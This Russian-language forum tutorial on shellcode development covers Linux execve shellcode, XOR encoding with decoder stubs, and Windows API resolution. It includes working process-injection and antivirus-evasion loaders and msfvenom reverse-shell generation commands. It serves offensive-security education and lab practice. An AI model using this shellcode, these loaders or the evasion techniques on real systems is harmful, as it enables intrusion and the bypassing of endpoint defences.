• Твой профиль заполнен на 0%. Заполни за 1 минуту, чтобы тебя нашли единомышленники и работодатели. Заполнить →

Статья Разработка шеллкода: от ручного написания на ассемблере до инъекции в процесс

Raspberry Pi с открытыми контактами на тёмном антистатическом коврике, OLED-экран светится зелёным текстом с шестнадцатеричными байтами. Рядом ноутбук с дампом памяти в бирюзовом свечении.


Когда я впервые руками собирал шеллкод на NASM и смотрел в x64dbg, как мои байты выполняются в памяти чужого процесса - exploit development перестал быть абстракцией из книжек. Это был тот момент, когда \x31\xc0\x50\x68 превратились из мусора в осмысленные инструкции. Написание шеллкода - фундамент, без которого Red Team оператор остаётся пользователем чужих тулз, не понимая, что происходит под капотом.
Статья записана со слов моего коллеги — практикующего Red Team оператора. Текст составлен от первого лица.
Здесь - весь цикл: от нуля до работающего пейлоада, который обходит сигнатурное детектирование. Конкретные байты, объяснение почему они именно такие, и рабочие примеры для лабораторной среды.

Что такое шеллкод и зачем писать его вручную​

Шеллкод - позиционно-независимый код (Position Independent Code, PIC), последовательность машинных инструкций, которая выполняется в контексте уязвимого или целевого процесса. Термин исторически связан с получением shell'а, но сегодня шеллкод может делать что угодно: от запуска калькулятора до полноценного C2-агента.

Как описывают Сикорски и Хониг в Practical Malware Analysis - это код, используемый как полезная нагрузка при эксплуатации уязвимости. Cobalt Strike, Metasploit, Empire - у всех есть встроенные генераторы шеллкода. Но понимание внутренней механики даёт принципиально другой уровень.

Зачем писать шеллкод вручную, если есть msfvenom? Три причины:
  • Генераторы создают известные сигнатуры - AV/EDR знают байтовые паттерны стандартных пейлоадов наизусть
  • Ручной шеллкод позволяет оптимизировать размер под конкретный буфер (иногда у тебя 200 байт и ни байтом больше)
  • Кастомный код невозможно детектировать по базе сигнатур - только поведенческим анализом

Написание шеллкода на ассемблере: Linux x86​

Начнём с классики - execve("/bin/sh") под Linux x86. Linux использует прямые системные вызовы через прерывание int 0x80, что делает код минималистичным и понятным. Для первого шеллкода - за глаза.

Системные вызовы и регистры​

Чтобы вызвать функцию ядра в Linux x86:
  • Номер системного вызова кладём в EAX
  • Аргументы - в EBX, ECX, EDX
  • Дёргаем int 0x80
Номера живут в /usr/include/x86_64-linux-gnu/asm/unistd_32.h. Для execve это 11 (0x0B).

Проблема нулевого байта​

Первое, что нужно вбить себе в голову при написании шеллкода. Многие функции (strcpy, gets, sprintf) используют нулевой байт \x00 как терминатор строки. Если в шеллкоде встретится \x00 - всё после него будет отброшено. Шеллкод тупо обрежется.

Разберём на конкретных байтах. Инструкция mov eax, 0 в машинном коде - B8 00 00 00 00. Четыре нулевых байта. Это убивает шеллкод. Замена: xor eax, eax - машинный код 31 C0, ноль нулевых байтов, результат тот же.

Аналогично: mov al, 11 вместо mov eax, 11 - работаем с младшим байтом регистра, избегая нулей в старших.

Минимальный execve шеллкод​

Код:
; execve_sh.nasm - Linux x86 execve("/bin//sh", NULL, NULL)
section .text
global _start

_start:
    xor eax, eax        ; обнуляем EAX без null-байтов
    push eax             ; null-терминатор строки в стек
    push 0x68732f2f      ; "//sh" (двойной слеш - выравнивание до 4 байт)
    push 0x6e69622f      ; "/bin"
    mov ebx, esp         ; EBX -> "/bin//sh\0"
 
    xor ecx, ecx         ; argv = NULL
    xor edx, edx         ; envp = NULL
 
    mov al, 0x0b         ; syscall number 11 = execve
    int 0x80             ; вызов ядра
Обратите внимание на //sh - двойной слеш нужен, чтобы строка была кратна 4 байтам. Linux спокойно игнорирует лишние слеши в пути: /bin//sh и /bin/sh - одно и то же.

Сборка и извлечение байткода:
Bash:
# Компиляция
nasm -f elf32 execve_sh.nasm -o execve_sh.o
ld -m elf_i386 execve_sh.o -o execve_sh

# Извлечение шеллкода из бинарника
objdump -d execve_sh | grep '[0-9a-f]:' | \
  grep -v 'file' | \
  cut -f2 -d: | cut -f1-6 -d' ' | \
  tr -s ' ' | tr '\t' ' ' | \
  sed 's/ $//g' | sed 's/ /\\x/g' | \
  paste -d '' -s | sed 's/^/"/' | sed 's/$/"/'
На выходе - компактная строка байтов, готовая к использованию как payload.

Тестирование шеллкода в C-обёртке​

C:
// test_shellcode.c
#include <stdio.h>
#include <string.h>

unsigned char shellcode[] =
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x31\xd2\xb0\x0b\xcd\x80";

int main() {
    printf("Shellcode length: %zu bytes\n", sizeof(shellcode) - 1); // sizeof-1: исключаем завершающий null строкового литерала C
    int (*ret)() = (int(*)())shellcode;
    ret();
}
Компиляция с отключением защит для тестирования:
Bash:
gcc -fno-stack-protector -z execstack -m32 -o test test_shellcode.c
./test
Флаги -fno-stack-protector и -z execstack отключают canary и NX-бит соответственно. В реальной эксплуатации эти защиты нужно обходить отдельно - здесь мы тестируем только сам шеллкод.

Позиционно-независимый код для Windows​

Если в Linux шеллкод напрямую дёргает ядро через int 0x80 (или syscall для x64), то в Windows всё веселее. Стабильных номеров системных вызовов нет - они меняются между билдами. Шеллкод должен динамически находить адреса нужных WinAPI функций. По сути - сам себе LoadLibrary.

Обход через PEB: поиск kernel32.dll​

Позиционно-независимый код под Windows начинается с обхода структуры PEB (Process Environment Block) для нахождения базового адреса kernel32.dll:
  1. fs:[0x30] (x86) или gs:[0x60] (x64) - указатель на PEB
  2. PEB->Ldr (смещение 0x0C для x86) - указатель на PEB_LDR_DATA
  3. Ldr->InMemoryOrderModuleList (смещение 0x14 в PEB_LDR_DATA для x86) - связный список загруженных модулей. Каждый элемент - LIST_ENTRY, указывающий на поле InMemoryOrderLinks внутри LDR_DATA_TABLE_ENTRY; базовый адрес модуля (DllBase) находится по смещению +0x10 от этого указателя. Типичный порядок: [0] - исполняемый файл, [1] - ntdll.dll, [2] - kernel32.dll, но на разных билдах Windows 10/11 порядок может отличаться (например, kernelbase.dll вместо kernel32.dll на третьей позиции). Полагаться на фиксированную позицию в списке - путь к граблям. Production-шеллкод должен сравнивать Unicode-строку BaseDllName (смещение +0x24 от указателя InMemoryOrderLinks, что соответствует 0x2C от начала LDR_DATA_TABLE_ENTRY) при обходе списка. Полная цепочка смещений для x86: fs:[0x30] → PEB, +0x0C → Ldr, +0x14 → InMemoryOrderModuleList.Flink, далее обход Flink с проверкой имени, +0x10 → DllBase
  4. Перебираем список, сравнивая Unicode-строку BaseDllName каждого элемента с kernel32.dll (не зависимо от регистра), пока не найдём совпадение. Псевдокод: entry = Flink; while (entry) { name = [I](entry + 0x24); if unicode_cmp(name, "kernel32.dll") == 0: base = [/I](entry + 0x10); break; entry = entry->Flink; }

Резолвинг функций через Export Table​

Найдя kernel32.dll, парсим её , чтобы вытащить адрес нужной функции (WinExec, LoadLibraryA и т.д.). Алгоритм:
  1. Читаем PE-заголовок DLL
  2. Находим Export Directory через DataDirectory
  3. Перебираем массив AddressOfNames, хешируя каждое имя
  4. Сравниваем хеш с заранее вычисленным значением целевой функции
  5. По совпадению берём адрес из AddressOfFunctions
Хеширование имён вместо сравнения строк - стандартная практика. Экономит байты и затрудняет статический анализ. Классический алгоритм - ROR13 (rotate right by 13):
Код:
; Хеш-функция ROR13 для имени API
; Вход: ESI -> строка имени
; Выход: EDX = хеш
compute_hash:
    xor edx, edx
.hash_loop:
    lodsb                ; загружаем байт из [ESI] в AL
    test al, al          ; проверяем конец строки
    jz .hash_done
    ror edx, 0x0d        ; ротация вправо на 13 бит
    add edx, eax
    jmp .hash_loop
.hash_done:
    ret
В реализации Stephen Fewer (block_api.asm из Metasploit) используется комбинированный хеш: ROR13(имя модуля) + ROR13(имя функции). Для этой схемы WinExec = 0x0E8AFE98, LoadLibraryA = 0xEC0E4E8E. Показанная выше функция compute_hash хеширует только имя функции - для неё значения будут другими (чистый ROR13 от «WinExec» = 0x876F8B31). Для полноценного резолвинга нужно суммировать хеши модуля и функции. Эти значения предварительно вычисляются и вшиваются в шеллкод.

Кодирование шеллкода и обфускация​

Даже кастомный шеллкод может содержать характерные паттерны - последовательности PEB-обхода, вызовы VirtualAlloc. Кодирование шеллкода трансформирует байты, делая их нераспознаваемыми для сигнатурного анализа. По сути - красивый фантик поверх начинки.

XOR-кодирование: базовый уровень​

Простейший энкодер - XOR каждого байта с ключом. Декодер перед исполнением восстанавливает оригинальные байты:
Python:
# xor_encoder.py - пример для демонстрации концепции
import sys

shellcode = bytearray(
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    b"\xc9\x31\xd2\xb0\x0b\xcd\x80"
)

# Автоподбор ключа, не создающего null-байтов
def find_xor_key(sc):
    for candidate in range(0x01, 0x100):
        if all((b ^ candidate) != 0x00 for b in sc):
            return candidate
    return None

KEY = find_xor_key(shellcode)
if KEY is None:
    print("[!] No suitable single-byte XOR key found")
    sys.exit(1)
print(f"[+] Selected XOR key: 0x{KEY:02x}")

encoded = bytearray(b ^ KEY for b in shellcode)

print("Encoded shellcode:")
print(",".join(f"0x{b:02x}" for b in encoded))
print(f"Length: {len(encoded)} bytes")
Проблема однобайтового XOR: если в шеллкоде встречается байт, равный ключу, после XOR он превратится в \x00. Решение - многоступенчатое кодирование.

Многоступенчатое кодирование​

По данным ired.team, эффективная схема использует цепочку операций - по типу матрёшки:
  1. XOR с 0x55
  2. Инкремент на 1
  3. XOR с 0x11
Декодер выполняет обратные операции в обратном порядке:
  1. XOR с 0x11
  2. Декремент на 1
  3. XOR с 0x55
Декодер на NASM (адаптировано из ired.team):
Код:
; decoder_stub.nasm - декодер-стаб для многоступенчатого кодирования
section .text
global _start

_start:
    jmp short get_shellcode    ; JMP-CALL-POP для получения адреса шеллкода

decoder:
    pop esi                    ; ESI = адрес закодированного шеллкода
    xor ecx, ecx
    mov cl, 23                 ; размер шеллкода (23 байта для execve примера)

decode_loop:
    mov al, byte [esi]
    xor al, 0x11              ; шаг 3 в обратном порядке
    dec al                     ; шаг 2 в обратном порядке
    xor al, 0x55              ; шаг 1 в обратном порядке
    mov byte [esi], al
    inc esi
    loop decode_loop
 
    jmp short encoded_shellcode  ; передаём управление декодированному коду

get_shellcode:
    call decoder               ; CALL кладёт адрес следующей инструкции в стек

encoded_shellcode:
    ; Закодированные байты (XOR 0x55, INC, XOR 0x11 от execve шеллкода)
    ; Генерация: for b in shellcode: encoded = ((b ^ 0x55) + 1) ^ 0x11
    db 0x74,0x84,0x14,0x2c,0x6b,0x6b,0x37,0x2c
    db 0x2c,0x6b,0x27,0x2c,0x2a,0xcd,0xa7,0x74
    db 0x8d,0x74,0x96,0xf4,0x4f,0x89,0xc4
Техника JMP-CALL-POP - способ получить адрес шеллкода в памяти без хардкода абсолютных адресов. CALL кладёт адрес следующей инструкции на стек, POP его забирает. Позиционная независимость декодера обеспечена.

Декодер-стаб модифицирует байты на месте (in-place), поэтому память должна иметь права на запись и исполнение (W+X). При эксплуатации через переполнение буфера на стеке с -z execstack или при размещении в VirtualAlloc(RWX) памяти - это выполняется. При компиляции как standalone бинарника используйте флаг линкера ld -N для writable text section.

Shikata_ga_nai и его детектирование​

Кодировщик shikata_ga_nai из Metasploit - полиморфный XOR с обратной связью. Каждый следующий байт кодируется с учётом предыдущего, а декодер-стаб генерируется с рандомными регистрами и порядком инструкций. Звучит круто, но современные EDR детектируют его по поведению: самомодифицирующийся код в памяти - сильный индикатор. Обычно я в реальных операциях использую кастомные энкодеры с уникальной схемой. Shikata - для CTF и лабораторок, не для продакшена.

1776281402794.webp


Инъекция шеллкода: техники для Red Team​

Написать шеллкод - половина дела. Вторая половина - доставить его в память целевого процесса и выполнить. Это область (T1055 по MITRE ATT&CK, тактики Defense Evasion и Privilege Escalation).

CreateRemoteThread: классика​

Самый прямолинейный метод shellcode injection. Последовательность вызовов WinAPI:
  1. OpenProcess - получаем хэндл целевого процесса
  2. VirtualAllocEx - выделяем память в адресном пространстве цели
  3. WriteProcessMemory - записываем шеллкод в выделенную память
  4. VirtualProtectEx - меняем права на PAGE_EXECUTE_READ (избегаем RWX - это красная тряпка для EDR)
  5. CreateRemoteThread - создаём поток с точкой входа на наш шеллкод
Рабочий пример shellcode loader на C++ (адаптировано из Secureinteli):
C++:
// shellcode_loader.cpp - CreateRemoteThread injection
// Компиляция: cl.exe /EHsc shellcode_loader.cpp
#include <Windows.h>
#include <stdio.h>

// Шеллкод - заменить на свой пейлоад
unsigned char shellcode[] = "\xcc"; // INT3 для отладки

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: loader.exe <PID>\n");
        return 1;
    }
 
    DWORD pid = atoi(argv[1]);
 
    // Шаг 1: открываем процесс
    HANDLE hProcess = OpenProcess(
        PROCESS_ALL_ACCESS, FALSE, pid
    );
    if (!hProcess) {
        printf("[!] OpenProcess failed: %ld\n", GetLastError());
        return 1;
    }
    printf("[+] Handle to PID %ld: 0x%p\n", pid, hProcess);
 
    // Шаг 2: выделяем память
    LPVOID remoteBuffer = VirtualAllocEx(
        hProcess, NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    if (!remoteBuffer) {
        printf("[!] VirtualAllocEx failed: %ld\n", GetLastError());
        return 1;
    }
    printf("[+] Allocated memory at: 0x%p\n", remoteBuffer);
 
    // Шаг 3: записываем шеллкод
    WriteProcessMemory(
        hProcess, remoteBuffer, shellcode,
        sizeof(shellcode), NULL
    );
 
    // Шаг 4: меняем права на исполняемые
    DWORD oldProtect;
    VirtualProtectEx(
        hProcess, remoteBuffer, sizeof(shellcode),
        PAGE_EXECUTE_READ, &oldProtect
    );
 
    // Шаг 5: создаём удалённый поток
    DWORD threadId;
    HANDLE hThread = CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)remoteBuffer,
        NULL, 0, &threadId
    );
    printf("[+] Thread created, TID: %ld\n", threadId);
 
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}
Проблема: эта цепочка API-вызовов (VirtualAllocEx + WriteProcessMemory + CreateRemoteThread) - канонический паттерн. Любой современный EDR детектирует её мгновенно. Это как прийти на пост охраны с табличкой «я грабитель».

Process Hollowing: замена содержимого процесса​

Process Hollowing создаёт легитимный процесс в suspended-состоянии, вычищает его секцию кода и подменяет шеллкодом:
  1. CreateProcess с флагом CREATE_SUSPENDED
  2. NtUnmapViewOfSection - убираем оригинальный код
  3. VirtualAllocEx + WriteProcessMemory - пишем свой
  4. SetThreadContext - перенаправляем EIP/RIP
  5. ResumeThread - запускаем
Процесс выглядит легитимным в списке задач (например, svchost.exe), а шеллкод выполняется от его имени. Снаружи - всё чисто.

Early Bird APC Injection​

Эта техника использует механизм (APC):
  1. CreateProcess с CREATE_SUSPENDED
  2. VirtualAllocEx + WriteProcessMemory в созданный процесс
  3. QueueUserAPC - ставим наш код в очередь APC основного потока
  4. ResumeThread - при возобновлении поток выполнит APC до своего основного кода
Фишка Early Bird: APC выполняется до инициализации EDR-хуков в процессе. Если EDR ещё не установил свои перехватчики - инъекция проходит незамеченной. Мы приходим раньше охранника.

Threadless Injection: современный подход​

По данным исследователей из Avantguard, Threadless Injection - одна из наиболее продвинутых техник, которая до сих пор отсутствует в явном виде в MITRE ATT&CK.

Суть: вместо создания нового потока атакующий хукает существующую функцию в целевом процессе. Когда процесс естественным образом вызывает эту функцию - выполняется наш шеллкод.

Метод, продемонстрированный Ceri Coburn, работает через remote function hooking: перезаписывается функция вроде NtWaitForSingleObject из NTDLL.dll, которая вызывается регулярно. Целевой процесс сам выполняет пейлоад в контексте уже существующего потока.

Что это даёт:
  • API-цепочка короче - нет CreateRemoteThread
  • Выполнение идёт в контексте легитимного потока
  • Обнаружение требует ручного thread hunting в EDR

Shellcode loader: разработка для обхода антивируса​

Голый шеллкод не запустится сам - ему нужен загрузчик (loader). Качество лоадера определяет, пройдёт ли пейлоад мимо защитных решений.

Стратегия обхода сигнатурного детектирования

Ключевой принцип shellcode bypass антивируса: разделение хранения и исполнения. Шеллкод хранится зашифрованным и расшифровывается только в памяти, непосредственно перед выполнением. На диске - мусор, в памяти - рабочий код. Окно между расшифровкой и выполнением - минимальное.

Практический подход:
C:
// encrypted_loader.c - пример для демонстрации концепции
#include <Windows.h>
#include <stdio.h>

// Зашифрованный шеллкод (XOR с ключом 0xDA)
unsigned char enc_shellcode[] = { /* зашифрованные байты */ };
size_t sc_len = sizeof(enc_shellcode);

void decrypt(unsigned char* data, size_t len, unsigned char key) {
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

int main() {
    // Расшифровка в памяти
    decrypt(enc_shellcode, sc_len, 0xDA);
 
    // Выделяем RW-память (не RWX сразу - это индикатор)
    LPVOID exec_mem = VirtualAlloc(
        NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
 
    // Копируем расшифрованный шеллкод
    memcpy(exec_mem, enc_shellcode, sc_len);
 
    // Меняем права на RX (не RWX)
    DWORD oldProtect;
    VirtualProtect(exec_mem, sc_len, PAGE_EXECUTE_READ, &oldProtect);
 
    // Выполняем через callback
    EnumDesktopsA(
        GetProcessWindowStation(),
        (DESKTOPENUMPROCA)exec_mem,
        0
    );
 
    return 0;
}
Тут несколько приёмов, на которые стоит обратить внимание:
  • PAGE_READWRITE → PAGE_EXECUTE_READ: сначала пишем в RW, потом переключаем на RX. Аллокация RWX сразу - жирный индикатор
  • Callback вместо прямого вызова: EnumDesktopsA принимает указатель на функцию - легитимный WinAPI-паттерн, менее подозрительный чем CreateThread
  • Расшифровка непосредственно перед копированием: минимизируем время, когда открытый шеллкод лежит в памяти

Проблема Unbacked Memory​

По данным Avantguard, после инъекции шеллкод выполняется из области памяти, не связанной с файлом на диске. В отладчике такие регионы помечены как PRV (Private) - это Unbacked Memory. Исполняемая Unbacked Memory - классический IOC (индикатор компрометации).

Решение - Module Stomping: загружаем легитимную DLL в процесс, затем перезаписываем её секцию кода нашим шеллкодом. Память остаётся Backed (привязанной к файлу), что снимает этот IOC.

Техника Caro-Kann, описанная Fabian Mosch, добавляет ещё один уровень: пейлоад доставляется зашифрованным, а декодер-стаб ждёт несколько секунд перед расшифровкой. Если EDR проверяет память сразу после создания потока - он видит только зашифрованный мусор. Хитро.

Генерация шеллкода с помощью msfvenom​

Для типовых задач нет смысла писать шеллкод с нуля - msfvenom из Metasploit Framework генерирует рабочие пейлоады в нужном формате. Потренировавшись на ручном написании и поняв механику, можно спокойно пользоваться генератором.

Генерация staged и stageless Meterpreter shellcode:
Bash:
# Stageless reverse_tcp шеллкод для Windows x64
msfvenom -p windows/x64/meterpreter_reverse_tcp \
  LHOST=10.0.0.5 LPORT=443 \
  -f raw -o meterp_stageless.bin

# Staged - компактнее, но требует сетевого подключения для загрузки стейджа
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.0.0.5 LPORT=443 \
  -f raw -o meterp_staged.bin

# С кодированием (XOR dynamic)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.0.0.5 LPORT=443 \
  -e x64/xor_dynamic \
  -f c -o encoded_meterp.c
# Примечание: одиночное кодирование msfvenom-энкодерами не обходит современные AV/EDR

# Вывод в формате C-массива для вставки в loader
msfvenom -p windows/x64/exec CMD=calc.exe \
  -f c -v shellcode
Разница между staged и stageless критична для Red Team:

ПараметрStaged (stager)Stageless
Размер300-500 байт200+ КБ
Зависимость от сетиТребует подключение к C2Автономный
ДетектированиеЛегче обфусцировать (малый размер)Больше сигнатур
НадёжностьЕсли C2 недоступен - шеллкод бесполезенРаботает автономно

В статье Picus Security описан подход, когда stageless Meterpreter генерируется через msfvenom и затем загружается целевой системой по зашифрованному URL - сочетание преимуществ обоих вариантов.

Практический блок: от написания до выполнения​

Полный цикл шаг за шагом.
📚 Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Сравнение техник инъекции шеллкода​

ТехникаСложность реализацииСкрытностьДетектирование EDRУниверсальность
CreateRemoteThreadНизкаяНизкаяТривиальноеВысокая
Process HollowingСредняяСредняяСреднееВысокая
Early Bird APCСредняяВысокаяСреднееСредняя
Threadless InjectionВысокаяОчень высокаяСложноеВысокая
Module StompingВысокаяОчень высокаяСложноеСредняя

Мой совет: начинайте с CreateRemoteThread - чтобы понять механику на уровне API. Затем переходите к APC injection. И только потом беритесь за Threadless Injection, которая требует понимания того, как работает перехват функций на уровне байтов. Перескакивать через ступени - гарантированный способ запутаться.

Отладка шеллкода: инструменты и приёмы​

Шеллкод неизбежно содержит баги. Мой рабочий набор для отладки:
  • x64dbg / x32dbg - основной отладчик под Windows. Точки останова, пошаговое исполнение, просмотр памяти в реальном времени
  • WinDbg - для анализа kernel-режима и crash dump-ов. Зверь тяжёлый, но когда нужен - ничем не заменишь
  • GDB с плагином PEDA/PwnDBG - под Linux. Команда x/20i $eip показывает 20 инструкций от текущего указателя
  • Procmon - мониторинг файловых и реестровых операций процесса
  • PE-bear - анализ PE-заголовков загруженных модулей
Приём, который экономит часы: вставьте \xCC (INT3) в начало шеллкода. Это software breakpoint - при выполнении отладчик перехватит управление именно в этой точке, и можно пошагово пройти весь код.
Код:
; Отладочная версия шеллкода
_start:
    int3           ; 0xCC - breakpoint для отладчика
    ; ... основной код шеллкода ...
Не забудьте убрать \xCC из финальной версии. На одном проекте я потратил полчаса, пытаясь понять, почему пейлоад крашится - оказалось, забыл убрать отладочный INT3. Классика.

Заключение​

Разработка шеллкода - навык, который превращает пентестера из пользователя инструментов в инженера. Когда понимаешь, как байты превращаются в действия на уровне процессора, можно создавать пейлоады, невидимые для сигнатурных движков. Но не стоит обольщаться: поведенческий анализ, memory scanning и EDR-телеметрия никуда не делись и работают.

Начните с Linux x86 - самая простая среда для первого шеллкода. Освойте системные вызовы, научитесь избавляться от null-байтов, напишите свой первый XOR-энкодер. Потом переходите к Windows - PEB walking, Export Table parsing, динамическое разрешение API. И только после этого беритесь за инъекцию и обход EDR.

Возьмите execve-шеллкод из этой статьи, скомпилируйте, загрузите в x64dbg (или GDB) и пройдите пошагово. Посмотрите, как xor eax, eax обнуляет регистр, как push кладёт строку на стек, как int 0x80 передаёт управление ядру. Когда увидите это своими глазами - всё встанет на место.

Весь код из статьи предназначен исключительно для авторизованных тестирований на проникновение и образовательных целей.
 
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab